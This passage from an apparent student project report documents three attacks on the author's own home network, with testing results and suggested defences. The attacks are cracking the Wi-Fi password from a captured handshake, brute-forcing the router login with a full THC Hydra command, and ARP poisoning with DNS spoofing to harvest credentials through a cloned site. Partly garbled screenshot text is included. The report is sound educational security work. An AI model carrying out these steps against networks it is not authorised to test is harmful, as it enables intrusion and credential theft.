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[bookmark: _Ref38700734][bookmark: _Toc38771248]Figure 15: Crunch Wordlist Generator

With the wordlist generated, the passwords can be tested against the captured handshake to find the password. Using the command “aircrack-ng capture-01.cap -w password.txt” (Figure 16), the list of passwords contained within the “password.txt” file is tested against the handshake contained within the “capture-01.cap” file.
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[bookmark: _Ref38700725][bookmark: _Toc38771249]Figure 16: aircrack-ng dictionary attack





After six hours, 28 minutes and 49 seconds, the password that matched the handshake hash was found. 34756712, the 34724460th key of 100000000 possible keys (Figure 17).
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[bookmark: _Ref38700717][bookmark: _Toc38771250]Figure 17: aircrack-ng dictionary attack successful
















[bookmark: _Toc38772152]4.3.2.	   ATTACK 2

The next attack has the goal of obtaining access to the router settings. However, in order to attack the login form, the type of form must first be determined. First, the web browser is configured to use a proxy address of “127.0.0.1” a.k.a. “home” and port 8080 to direct the traffic through Burpsuite (Figure 18).
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[bookmark: _Ref38700709][bookmark: _Toc38771251]Figure 18: Configure browser for Burpsuite

Next, Burpsuite Community Edition is opened to a “Temporary project” using “Burp Defaults” and to the intercept tab under the proxy heading. Intercept must be off (Figure 19).
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[bookmark: _Ref38700702][bookmark: _Toc38771252]Figure 19: Burpsuite intercept disabled

Next, a terminal window is opened and the “ip route” command is run to determine the default gateway (Figure 20).
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[bookmark: _Ref38700693][bookmark: _Toc38771253]Figure 20: Find default gateway

Navigating to the IP address and clicking on any of the tabs (in this case, the “Advanced” tab)(Figure 21) allows the router login form to be found (Figure 22).
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[bookmark: _Ref38700681][bookmark: _Toc38771254]Figure 21: SKY router settings
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[bookmark: _Ref38700675][bookmark: _Toc38771255]Figure 22: SKY router login form

Once navigated to the login form, Burpsuite is set to intercept traffic (Figure 23). The login form is returned to and fake credentials entered.
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[bookmark: _Ref38700666][bookmark: _Toc38771256]Figure 23: Burpsuite intercept enabled







“OK” is pressed and Burpsuite captures the form (Figure 24).
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[bookmark: _Ref38700659][bookmark: _Toc38771257]Figure 24: Burpsuite form captured

With this information and the help page (reachable with the -h flag) (Figure 25), the THC Hydra command used for this attack can be created: “hydra -L “/home/kali/Desktop/Attack 2/wordlists/usernames.txt” -P “/home/kali/Desktop/Attack 2/wordlists/passwords.txt” -f -V 192.168.0.1 -m /sky_wan_setup.html http-get” (Figure 26). The “-L” flag points to the list of usernames and “-P” points to the list of passwords. The “-f” flag tells the program to stop once valid credentials are found. “-V” activates verbose mode and prints all attempts, “192.168.0.1” is the default-gateway, “-m” points to the login form and “http-get” is the form type.
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[bookmark: _Ref38700652][bookmark: _Toc38771258]Figure 25: THC Hydra help page
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[bookmark: _Ref38700645][bookmark: _Toc38771259]Figure 26: THC Hydra attack









The wordlists are obtained from the Routersploit tool and located at “/routersploit/resources/wordlists” in the Routersploit archive (Figure 27).
[image: ]
[bookmark: _Ref38700625][bookmark: _Toc38771260]Figure 27: Routersploit GitHub page




The correct credentials “username: admin” and “password: sky” were found at attempt 72706 of 252042 (Figure 28).
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[bookmark: _Ref38700615][bookmark: _Toc38771261]Figure 28: THC Hydra attack

[bookmark: _Toc38772153]4.3.3.	   ATTACK 3

The final attack uses Ettercap to instigate ARP poisoning and DNS spoofing to spoof the DNS response for one of the victims most commonly used sites and redirect them to the IP of the attackers computer, upon which a cloned version of the site is hosted that collects the users credentials when they attempt to log in. 

Using the credentials obtained in the previous attack, the “attached devices” page is used to find a suitable device to attack. the device “htpc” at “192.168.0.24”/”10:fe:ed:20:dd:5c” was selected (Figure 29).
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[bookmark: _Ref38700606][bookmark: _Toc38771262]Figure 29: SKY router “Attached Devices” / Victim selected












At this point, Ettercap is opened with “wlan0” as the primary interface (Figure 30).
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[bookmark: _Ref38700598][bookmark: _Toc38771263]Figure 30: Ettercap – Select inteface

The “search” button is pressed to scan the network for reachable devices (Figure 31).
[image: ]
[bookmark: _Ref38700591][bookmark: _Toc38771264]Figure 31: Ettercap – Scan for network hosts






As the goal is to perform a man-in-the-middle attack on the device, the 2 targets selected are the router (at 192.168.0.1) and the victim (at 192.168.0.24) (Figure 32).
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[bookmark: _Ref38700580][bookmark: _Toc38771265]Figure 32: Ettercap – Select targets

ARP poisoning is then selected from the MITM drop-down menu (Figure 33).
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[bookmark: _Ref38700552][bookmark: _Toc38771266]Figure 33: Ettercap – ARP Poisoning






“Sniff remote connections” is selected and the ARP poisoning is active (Figure 34).
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[bookmark: _Ref38700537][bookmark: _Toc38771267]Figure 34: Ettercap – ARP Poisoning

The 2 victims selected previously are listed in the readout (Figure 35).
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[bookmark: _Ref38700529][bookmark: _Toc38771268]Figure 35: Ettercap – ARP Poisoning successful





With the traffic moving through the attacker pc it can be monitored through Wireshark (figure 36) to get an idea of the users browsing habits and to choose a website. The “wlan0” interface is selected and the victim’s traffic is visible (Figure 36).
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[bookmark: _Ref38700521][bookmark: _Toc38771269]Figure 36: Wireshark - Analysis

Sorting by protocol, the HTTP traffic can be viewed (Figure 37).
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[bookmark: _Ref38700514][bookmark: _Toc38771270]Figure 37: Wireshark - HTTP traffic




Clicking on the request provides more information, such as the URL and user agent (Figure 38).
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[bookmark: _Ref38700503][bookmark: _Toc38771271]Figure 38: Wireshark – GET request

Visiting the website and clicking on the “login” button reaches the login page, which is the page that was cloned for the fake website (Figure 39).
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[bookmark: _Ref38700482][bookmark: _Toc38771272]Figure 39: newdwf.com




Next, the Ettercap configuration file located at “/etc/Ettercap/etter.dns” is edited in order to redirect any request for “newdwf.com” or “*.newdwf.com” to the IP address of the attacker pc (192.168.0.30) (Figure 40).
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[bookmark: _Ref38700475][bookmark: _Toc38771273]Figure 40: etter.dns

With this done the manage plugins page is opened in Ettercap (Figure 41) and the “dns_spoof” plugin is enabled (Figure 42).
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[bookmark: _Ref38700468][bookmark: _Toc38771274]Figure 41: Ettercap – Manage Plugins
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[bookmark: _Ref38700462][bookmark: _Toc38771275]Figure 42: DNS Spoofing activated

Now that the URL redirects to the IP of the attacker pc the website is cloned via SET or Social Engineering toolkit (Figure 43). First the “Social-Engineering Attacks” menu is entered (Figure 44), then the “Website Attack Vectors” menu (Figure 45) and then the “Credential Harvester Attack Method” (Figure 46). 
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[bookmark: _Ref38700447][bookmark: _Toc38771276]Figure 43: SET – Social Engineering Toolkit
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[bookmark: _Ref38700439][bookmark: _Toc38771277]Figure 44: SET - Social-Engineering Attacks
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[bookmark: _Ref38700431][bookmark: _Toc38771278]Figure 45: SET - Website Attack Vectors








The “Site Cloner” option is the one that’s selected as it allows for the download and hosting of a given website (Figure 46).
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[bookmark: _Ref38700412][bookmark: _Toc38771279]Figure 46: SET - Credential Harvester Attack Method

The IP to send the POST data to is then entered (in this case it’s on the local network, so just the local ipv4 address “192.168.0.30” is entered) (Figure 47).
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[bookmark: _Ref38700406][bookmark: _Toc38771280]Figure 47: SET – Enter IP address




Next, the URL of the page to be cloned is entered. The address of the login page is entered rather than the actual homepage as this is the page with the login form (Figure 48).
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[bookmark: _Ref38700399][bookmark: _Toc38771281]Figure 48: SET – Enter URL to clone

The Credential Harvester is now running and will display any credentials it captures (Figure 49).
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[bookmark: _Ref38700391][bookmark: _Toc38771282]Figure 49: SET - Running





When the victim visits the “www.newdwf.com” URL, the DNS is spoofed to the “192.168.0.30” IP address as is visible in Figure 50 below.
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[bookmark: _Ref38700383][bookmark: _Toc38771283]Figure 50: Ettercap – DNS Spoofed successfully

The victim is presented with an identical page and URL and has entered their login details into the form (username: joe123456 and password: Password) (Figure 51).
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[bookmark: _Ref38700373][bookmark: _Toc38771284]Figure 51: Cloned newdwf.com website



Once the login button is pressed, the Credential Harvester captures the login details (Figure 52).
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[bookmark: _Ref38700365][bookmark: _Toc38771285]Figure 52: SET – Login details obtained

4.4.	CONCLUSION

To conclude, all 3 of the attacks went to plan and the Wi-Fi password, router password and “newdwf.com” login details were obtained successfully. Liberties were taken in the first attack in regard to password complexity, however the process would not have differed with a more complex password. The second attack was a success and the routers default username and password were found. Thus, this was a perfectly realistic method of obtaining access to the router’s settings. Finally, the third attack was also a success as a webpage identical to the real webpage was presented to the victim and the credentials entered into the form were retrieved. All 3 of the attacks were conducted at least twice, hence the experiment is repeatable and backed up by the research contained within the literature review.





[bookmark: _Toc38772154]CHAPTER 5 – TESTING & EVALUATION
[bookmark: _Toc38772155]5.1.	ATTACK 1 TESTING

The attack works by capturing packets sent between 2 devices. As such, the attack is not always successful depending on proximity of the attacker to the 2 victim devices. Frequently only half of the handshake is captured. This is visible in Figure 53 where message 1, 2, and 4 are present and Figure 54 where 1, 2, and 3 are present. However, only either 1 and 2 or 3 and 4 are necessary to retrieve the hash, therefore both of these are still successfully captured. the handshake was captured successfully from the same device on four separate occasions (including the capture shown in the implementation section). The source MAC address in the attack featured in the implementation section is “38:a6:ce:89:e7:70”. However, the network consists of 3 access points, thus the 3 attempts pictured in Figure 53, Figure 54 and Figure 55 below were conducted on a different access point and therefore have a different source MAC address of “38:a6:ce:84:23:24”.

In all 3 attempts a valid handshake was captured between the “38:a6:ce:84:23:24” access point and “f4:d6:20:6f:06:de” client. This attack should be reproducible on any home network or access point as it works based on the unencrypted nature of management frames.
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[bookmark: _Ref38700284][bookmark: _Toc38771286]Figure 53: Wireshark – EAPOL Handshake 1
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[bookmark: _Ref38700303][bookmark: _Toc38771287]Figure 54: Wireshark - EAPOL Handshake 2
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[bookmark: _Ref38700327][bookmark: _Toc38771288]Figure 55: Wireshark – EAPOL Handshake 3






The cracking process via Aircrack-ng appears to have variance in how the wordlist is used, hence the amount of time to find the correct key (if present) differs by a small amount, as observed in the small difference between the first (Figure 56) and third (Figure 58) attempts. The first attempt took 6 hours, 28 minutes and 49 seconds and the third attempt took 6 hours and 28 minutes flat. However, the second attempt took 7 hours, 6 minutes and 14 seconds (Figure 57).
The number of keys tested to find the correct key only differs slightly across the 3 attempts at “34724460” (Figure 56), “34723968” (Figure 57) and “34724192” (Figure 58), thus the most likely reason that the second attempt was significantly longer was that the number of keys tested was lower in the second attempt than the others. This is reflected in Figure 57, which shows “1380.77” keys/second, as opposed to “1513.67” (Figure 56) and “1516.85” (Figure 58).
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[bookmark: _Ref38700175][bookmark: _Toc38771289]Figure 56: Atttack 1 - aircrack-ng password found 1
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[bookmark: _Ref38700196][bookmark: _Toc38771290]Figure 57: Attack 1 - aircrack-ng password found 2
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[bookmark: _Ref38700142][bookmark: _Toc38771291]Figure 58: Attack 1 - aircrack-ng password found 3






[bookmark: _Toc38772156]5.2.	ATTACK 2 TESTING

The attack worked correctly to find the username and password of the router. The attack was run 3 times, and each time the key was successfully found. The password was found at attempt 72706 of a possible 252042 attempts in each of the 3 attempts (Figure 59, Figure 60, Figure 61).
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[bookmark: _Ref38700087][bookmark: _Toc38771292]Figure 59: Attack 2 – Username and Password found 1
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[bookmark: _Ref38700089][bookmark: _Toc38771293]Figure 60: Attack 2 - Username and Password found 2
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[bookmark: _Ref38700092][bookmark: _Toc38771294]Figure 61: Attack 2 - Username and Password found 3

[bookmark: _Toc38772157]5.3.	ATTACK 3 TESTING

The final attack resulted in successfully instigating ARP poisoning and DNS spoofing to point the victim at a fake website allowing the victim’s login credentials to be obtained (Figure 62).
[image: ]
[bookmark: _Ref38700054][bookmark: _Toc38771295]Figure 62: Attack 3 – Login details obtained 

However, the attack is only successful on HTTP sites, as most HTTPS websites use HSTS (HTTP Strict Transport Security) to force the connection over HTTPS [66]. As such, the browser redirects to HTTPS and fails to connect to anything. The only option in this case would be to use a very similar domain name, ideally with a valid HTTPS certificate (otherwise the victim would likely notice the “connection is not secure” symbol) and wait for a victim to accidentally visit the site [67].

[bookmark: _Toc38772158]5.4.	EVALUATION

The experiment as a whole was a success, as all attacks worked and were executed according to their design. Though the first attack worked correctly, a simplified numbers-only password was used in order to reduce the cracking time and ease of producing a suitable wordlist. This makes the attack less reflective of a real-life Wi-Fi password cracking. However, most default network passwords are complex enough to completely prevent such an attack.

The attack worked by injecting de-authentication frames between a client and an access point in order to disconnect them, something that is covered in the “Impact of Metric Selection on Wireless De-authentication DoS Attack Performance” paper mentioned in the related works section. This paper covers the use of de-authentication frames to perform a Denial-of-Service attack by repeatedly injecting the de-authentication frames and thus causing the devices to repeatedly disconnect [18]. 

In the experiment, the Aircrack-ng tool is used to perform the monitoring, capturing and injecting of frames as well as run the dictionary attack against the handshake. The performing of this is covered in the “Performance Evaluation and Analysis of various Network Security tools” paper that is mentioned in the literature review. It covers the use of Aircrack-ng for monitoring, attacking (by way of fake access points, replay attacks, de-authentication and packet injection), capturing and cracking [20].

The experiment used a less secure password of “34756712”. In the experiment this resulted in the password being found in an average of 34724206.6 attempts and an average time of 6 hours, 41 minutes and 1 second out of a possible 100000000 attempts and 18 hours, 53 minutes and 24 seconds (based on an average testing speed of 1470.43 keys/second).

This was done because the default password had a length of 12 characters and consisted of the upper-case 26-letter alphabet. Assuming that this information was known by the attacker, a wordlist covering all possible permutations would consist of 95428956661682180 possible passwords. At a speed of 1400 passwords per second (the amount that the test machine is capable of) it would take approximately 216145.17 years to test every possible combination. 

As such, the best way of preventing such an attack from taking place would be to use a secure password incorporating upper and lower case, numbers and symbols that is as long as possible (Avast recommend no less than 15 characters) [68]. Additionally, avoiding the use of common words and phrases or any personal information as this will make the password significantly easier to defeat [69]. There isn’t currently a method of preventing the capture of EAPOL handshakes, as this would prevent devices from authenticating [63]. However, it is possible to encrypt the Disassociation, De-authentication and Robust Action frames via 802.11w “Protected Management Frames”, thus preventing a De-authentication attack from being performed and forcing the attacker to wait for a client to authenticate intentionally [70].

The second attack was fairly realistic, as the default username and password were simple, thus there was no need to change them. The command was successfully run 3 times, each time finding the correct login details at login attempt 72706 out of a possible 252042 attempts. Some routers can be configured to limit the number of login attempts [71], thus preventing the attack due to the amount of time necessary to find the correct login. However, this is unlikely to be configured in a home network and was not configured on the test network used in the experiment. However, as this is the only router tested, there is no guarantee that a different approach would not be necessary when attempting this attack on another router.

The attack method is covered by various papers described in the related works section of the literature review. Before the attack could begin, the type of form had to be determined. This was done by capturing the request through Burpsuite by configuring the web browser to use Burpsuite as a proxy, allowing it to intercept the request as it is sent. This was covered by the “Automatic Recognition, Processing and Attacking of Single Sign-On Protocols with Burp Suite” paper, which depicts the usage of Burpsuite to capture, intercept, alter and display HTTP traffic [52]. 

After obtaining this information, the THC Hydra tool was used to perform the dictionary attack against the form. The process of doing which was covered by the “A Real-World Password Cracking Demonstration Using Open Source Tools for Instructional Use” paper, where an attack was run against SSH and FTP servers. As such, the commands used to perform these attacks were slightly different to that used in the experiment. The paper documented success in attacking the FTP server but failure in attacking the SSH server due to a limit on failed login attempts that was implemented on the SSH server, something that was not encountered when attacking the router login form [50].

This attack works via testing username and password combinations live on the router itself. As such, the best way to prevent such an attack would be to purchase a wireless router with the option to limit the number of login attempts [50]. The experiment required 72706 attempts to find the correct login details. With a cap of 5 login attempts every 20 minutes this would take approximately 201.96 days, making an attack unfeasible.

The third and final attack works perfectly if performed as shown, using an HTTP website. The victim is served with an identical copy of a given website and is completely unable to differentiate it from the real webpage. However due to the inability to use DNS spoofing with HTTPS sites, its usefulness is debatable and will continue to decrease as websites continue to move to HTTPS. As of March 2020, the number of top 1 million websites redirecting users to HTTPS stands at 60.9338% [72]. As such, a different method of capturing credentials that is compatible with modern site security would be preferable.

The first part of the attack (after selecting a victim client) consists of performing ARP poisoning on the target (via the Ettercap tool) and monitoring their traffic in Wireshark in order to choose a website that they commonly visit to clone in the attack. The process of this is detailed in the “Real-World Man-in-the-Middle (MITM) Attack Implementation Using Open Source Tools for Instructional Use” paper, which details the process of performing ARP poisoning to corrupt the ARP table of the router via Ettercap and redirect the traffic to the attackers device, which then forwards it on to the victim [14]. 

The similar paper “Different flavours of Man-In-The-Middle attack, consequences and feasible solutions” also discusses the concept of ARP poisoning, as well as the DNS spoofing component of the attack. It explains how the attacker acts as a DNS server, providing the victim with a spoofed DNS response containing a fake IP address to direct them away from the real website [49]. In the case of the experiment, the DNS response contains the IP address of the attackers PC, on which a clone of the website is hosted. The paper “Social Engineering Toolkit — A systematic approach to social engineering” discusses the cloning and hosting of a webpage using the “Credential Harvester” tool, and its collection of credentials entered into the form fields in the cloned website that allows the attacker to obtain the login details of the victim [51].

Due to the inability to use DNS spoofing with HTTPS websites (as tested in the experiment), this attack is not able to capture credentials on HTTP websites. Hence, the best way of preventing such an attack is to ensure that no sensitive information is entered into non-HTTPS websites and to verify that the “secure” certificate symbol is displayed on HTTPS websites (though this is not a fool proof solution) [14].









[bookmark: _Toc38772159]CHAPTER 6 – CONCLUSIONS & RECOMMENDATIONS
[bookmark: _Toc38772160]6.1.	SUMMARY

The experiment was split into 3 separate attacks that each gained some form of access to the victim. The goal of first attack was to monitor for devices currently connected to the network and produce a spoofed de-authentication frame with the source address of a currently connected device. This informs the router that the device wishes to cease communication, which causes the 2 devices to disconnect. As the de-authentication frame is not actually from the disconnected client, it attempts to reauthenticate and then reconnect. The authentication process works via a 4-way handshake that contains a hash value that matches one produced by the correct password. The handshake is then captured by the attacker and a wordlist of passwords is tested against the file until a password that produces the same hash is found. This is all done with the Aircrack-ng tool.

With the Wi-Fi password now obtained, the attacker has access to the network. The router admin page is then located (by visiting the default-gateway) and the type of form determined by configuring the web browser to communicate via a proxy and capturing it with Burpsuite (in this case, a HTTP-GET form). Using a wordlist obtained from the Routersploit application, various usernames and passwords are tested against the router login page live using the THC Hydra application until a correct username and password combination is found.

With access to the router now obtained, the list of connected clients is used to choose a suitable victim for the next attack. The plan of this attack was to serve the victim a fake webpage and convince them to input their login credentials (for the real website) into the fake webpage, allowing the attacker to capture them. As such, it was important to target a computer rather than a smart thermostat, for instance. With a victim chosen, the Ettercap tool was used to instigate an ARP poisoning attack, allowing the attacker to see the victims traffic and choose a website to clone. With a website chosen, the Social Engineering Toolkit is used to download a host a copy of a given website on the attacker’s computer (in this case, the login page of “newdwf.com” was used). 

Next, the DNS spoofing feature of Ettercap was used to provide a spoofed DNS response to the victim and direct them to the IP of the attacker’s computer (and therefore the cloned site) when the “newdwf.com” URL was navigated to. The victim was then presented with the login page and input their credentials, which were displayed to the attacker by the Social Engineering Toolkit Application.

[bookmark: _Toc38772161]6.2.	CONCLUSION

Chapter 1 provides an introduction to the aim and objectives of the experiment, along with providing a sense of the project structure and what is covered in each chapter.

Chapter 2 provides background knowledge on various types of attack, including Password-Guessing attacks, Keyloggers, various types of Man-in-the-Middle attack, such as ARP Poisoning and DNS Spoofing. De-authentication attacks, Prefix Hijacking and Various types of Social Engineering attack such as phishing, spear phishing and quid pro quo. Research was also conducted into the various tools that can be used to perform these attacks, as well as articles relevant to the design of the experiment. This provided a sizeable background knowledge that was instrumental in designing and implementing the attacks.

Chapter 3 details the methodology of the project regarding the inductive logical approach taken and the qualitative research philosophy. It also covers the research methodologies of action-research, case studies, triangulation and experimentation as well as the use of primary research in the form of the experiment and secondary research in the form of the literature review. Finally, it covers the data collection approach for each chapter and the research design, detailing the final outputs of the experiment (i.e. the test report in chapter 5, the conclusion in chapter 6 and the reflection in chapter 7).

The fourth chapter contains the design of the experiment i.e. what will be done and what commands and tools will be used to achieve it. After this is the implementation, which details the process of completing the experiment in much greater detail than the design. The first attack worked by performing a de-authentication attack on a client connected to the target network in order to obtain the 4-way handshake and run an offline dictionary attack against it using a wordlist generated with crunch, eventually obtaining the Wi-Fi password. Each step of this attack was conducted using the Aircrack-ng suite of tools, which were crucial to the success of this attack.

The second attack was similarly another password-guessing attack. However, this was a live attack of the router login page using Burpsuite to obtain information about the login form in order to create the command used to perform the attack in THC hydra. 

The third and final attack involved performing an ARP poisoning attack on the victim (using Ettercap) to monitor their browsing habits. This was used to choose a suitable website that the victim visits often and perform DNS spoofing on the URL to provide a DNS response containing the attacker’s IP address. Using Social Engineering Toolkit, a fake site was hosted that collected the victim’s credentials when they attempted to login. All three of these attackers were executed successfully with credentials obtained thus the experiment as a whole can be judged a success.

Chapter 5 is the Testing and Evaluation chapter, meaning that it details the testing of the attacks (the number of times the attack was run, the output data and any failures in running the attacks). In the first attack the EAPOL handshake was captured 3 times and then attacked with the wordlist 3 times, each time resulting in success with only slightly variance in speed and number of attempts, at attempt “34724460”, “34723968” and “34724192” respectively. 

The second attack was similarly run 3 times, each time finding the correct username and password for the router on the 72706th attempt of 252042 attempts. The third attack was less successful, run once spoofing a HTTP website. The attack was then attempted using an HTTPS website, resulting in failure due to HSTS and SSL, as explained by prior research.



[bookmark: _Toc38772162]6.3.	RECOMMENDATIONS FOR FURTHER RESEARCH

The experiment consisted of a reasonably-wide range of attacks and tools. However, there are still multiple possibilities for further research into the topic. For instance, the first attack was successfully resulted in gaining access to the Wi-Fi network. However, there is more than one way to achieve this. WPS PIN attacks, for instance, only require brute forcing 2 4-digit passwords [7], likely being a much easier and faster method of obtaining access to a Wi-Fi network than WPA2 dictionary attacks. 

The second attack is fast due to the lack of complexity in default router usernames and passwords; thus, this is unlikely to be improved through other methods. However, research into the differences in approach when attacking different form types than the “HTTP-GET” form attacked in the experiment would be a good area for expansion.

The third attack was successful in its original incarnation, performing DNS spoofing on http://newdwf.com, a non-HTTPS website. However, the attack failed when attempting to spoof an HTTPS website. As such, SSL Strip is a good area for further research, as this strips the SSL certificate from the website before it is forwarded to the victim, allowing the victim to access the website and for the attacker to capture credentials as in HTTP websites [14].












[bookmark: _Toc38772163]CHAPTER 7 – REFLECTION

The aim of the project is “to carry out cybersecurity experiments on consumer-grade hardware in order to exploit and gain access to a home network.” The goal of the first attack was to obtain the Wi-Fi password and therefore gain access to the network. Also, the second attack focused on gaining access to the router login page. Finally, the aim of the third attack was to exploit the DNS and ARP protocols to trick a victim into giving their login credentials to a fake website. Therefore, it appears that the experiment is in-line with the aim.

The first objective of the project was fulfilled, as the literature review is an expansive collection of knowledge on existing exploits and tools. It also contains the “related works” section, which are a collection of papers relevant to the experiment.

The second, third and fourth objective are all fulfilled by the experiment, as it contains instances of penetration testing in the form of gaining access to the network in the first attack and gaining access to the router in the second attack. The first and second attacks are both password attacks, thus obtaining the credentials to the network and the router constitutes successful password cracking. The third attack used an ARP/DNS spoofing attack and is therefore considered a Man-in-The-Middle attack. The spoofed DNS response directed the victim to a cloned copy of the website hosted through SETs Credential Harvester, which collects the credentials entered into any login form on the page, thus constituting data acquisition. 

Finally, the fifth objective was “To evaluate the experiment and collate the results with prior research.”, which was conducted in the Testing and Evaluation sections of chapter 5. As such, it appears that all objectives set in the first chapter have been achieved at some point in the project.
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192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

O kali@kali: ~

Help

login
Tlogin
Tlogin
Tlogin
Tlogin
Togin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Tlogin
Togin

[STATUS] attack finished for 192.168
1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2

kaliakaliz~$ I

Togi

“admin®
“admin®
“admin®
“admin®
*admin®
*admin®
“admin®
“admin®
“admin®
“admin®
“admin®
*admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®
“admin®

admin
1 (valid pair found)

= Attack2 - File Manager  #s wordlists - File Manager

pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass "
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass

lali@lali ~

“service® - 72702 of 252042 [child 5] (0/
“setup® - 72703 of 252042 [child 6] (0,
"shadow" - 72704 of 252042 [child 0] (
“sitecom® - 72705 of 252042 [child 2] (
"sky" - 72706 of 252042 [child 4] (0/0)
“smallbusiness® - 72707 of 252042 [child 7] (o,
“smcadmin® - 72708 of 252042 [child 11] (0/0)
“smile® - 72709 of 252042 [child 8] (0/0)
“snmp-Trap® - 72710 of 252042 [child 2] (0/0)
“snoopy1* - 72711 of 252042 [child 0] (0/0)
"soccer" - 72712 of 252042 [child 13] (0/0)
"softwared1® - 72713 of 252042 [child 10] (0/0)
“solokey" - 72714 of 252042 [child 15] (0,
"specialist® - 72715 of 252042 [child 11] (/@)
*speedxess® - 72716 of 252042 [child 8] (0/0)
s3r" - 72717 of 252042 [child 9] (e/0)
"star" - 72718 of 252042 [child 12] (0/0)
“stratauser® - 72719 of 252042 [child 14] (
“suapsir® - 72720 of 252042 [child 15] (0,
“summer* - 72721 of 252042 [child 14] (
“sunshine® - 72722 of 252042 [child 3] (o,
"super” - 72723 of 252042 [child 13] (0/0)
“superman* - 72724 of 252042 [child 10] (
“superuser® - 72725 of 252042 [child 11] (
“supervisor® - 72726 of 252042 [child 12] (/0
“support* - 72727 of 252042 [child 14] (0,
"supportpw" - 72728 of 252042 [child 1] (0/0)
"surt" - 72729 of 252042 [child 15] (0/0)
“svgodie® - 72730 of 252042 [child 8]
“swift® - 72731 of 252042 [child 9] (0/0)

password: sky

04:48PM @
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w . google.com PTR ::1 [TTL]

or for MX query (either IPV4 or IPV6):
domain.com MX xxx.xxx.xxx.xxx [TTL]
domaing. Com MX XXX XXX XXKX £ XXKX  XXKK E XXKK E XXKK £ XXKX
domain3. com MX Xxxx:xxx

or for WINS query:
workgroup WINS 127.0.0.
PCx WINS 127.0.0.

[l

#
#

#

#

#

#

#

#

#

#

#

# or for SRV query (either IPv4 or IPV6):
#  service._tcp|_udp.domain SRV 192.168.1.10:port [TTL]
#

#

#

#

#

#

#

#

#

#

#

#

service Zudp.domain SRV [2001:db8::3]:port

or for TXT query (value must be wrapped in double quotes):
google.com TXT "v=spfl ip4:192.168.0.3/32 ~all” [TTL]

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
NOTE: the wildcarded hosts can't be used to poison the PTR requests #
50 if you want to reverse poison you have to specify a plain #

host. (look at the www.microsoft.com example) #

#

NOTE: Default DNS TTL is 3600s (1 hour). ALL TTL fields are optional.  #
#
e e

newdwf.com A 192.168
*.newdwf .con A 192.168,

AR AR AR
# microsoft sucks ;)
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Go To Line

Undo
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Hostlist x  Plugins x

Name Version Info

arp_cop 11 Report suspicious ARP activity

autoadd 12 Automatically add new victims inthe target range

chk_poison 1 Checkif the poisoning had success
Fodmspeof 13 Sendsspoofedcnsreples

dos_attack 10 Runados.attackagainstan IP address

dummy 30 Aplugintemplate (for developers)

find_conn 10 Searchconnections ona switched LAN

find_ettercap 2.0 Trytofind ettercap activity

find_ip 10 Searchanunused IPaddress inthe subnet

finger 16 Fingerprint a remote host

finger_submit 1.0 Submita fingerprintto ettercap's website

fraggle_attack 1.0 Runafraggle attackagainst hosts of target one

gre_relay 11 Tunnel broker for redirected GRE tunnels

gw_discover 1.0 Trytofindthe LAN gateway

isolate 10 lIsolatean hostfrom the lan

ARP poisoning victims:
GROUP1:192.168.0.1 24:A7:DC:58:35:79

GROUP 2:192.168.0.24 10:FE:ED:20:DD:5C
Activating dns_spoof plugin...
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[—] The Social-Engineer Toolkit (SET) [—]
[—1 Created by: David Kennedy (ReL1K) [—1
Version: .0.3
Codename: 'Maverick'

[—1 Follow us on Twitter: aTrustedSec [—1
[—] Follow me on Twitter: aHackingDave [—]
[—1 Homepage: https://wwi.trustedsec.com [—

Welcome to the Social-Engineer Toolkit (SET).

The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://wm.trustedsec.con

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.con/trustedsec/ptf to update all your tools!

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 1

0928AM ¥ ) A W64%| @ G
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[—] The Social-Engineer Toolkit (SET) [—]
[—1 Created by: David Kennedy (ReL1K) [—1
Version: .0.3
Codename: 'Maverick'

[—1 Follow us on Twitter: aTrustedSec [—1
[—] Follow me on Twitter: aHackingDave [—]
[—1 Homepage: https://wwi.trustedsec.com [—

Welcome to the Social-Engineer Toolkit (SET).

The one stop shop for all of your SE needs.

The Social

-Engineer Toolkit is a product of TrustedSec.

Visi

https: //wm. trustedsec. con

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

set> 21
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99) Return back to the main menu.
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver t
he payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate ho
wever when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Har
vester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation th
rough the browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
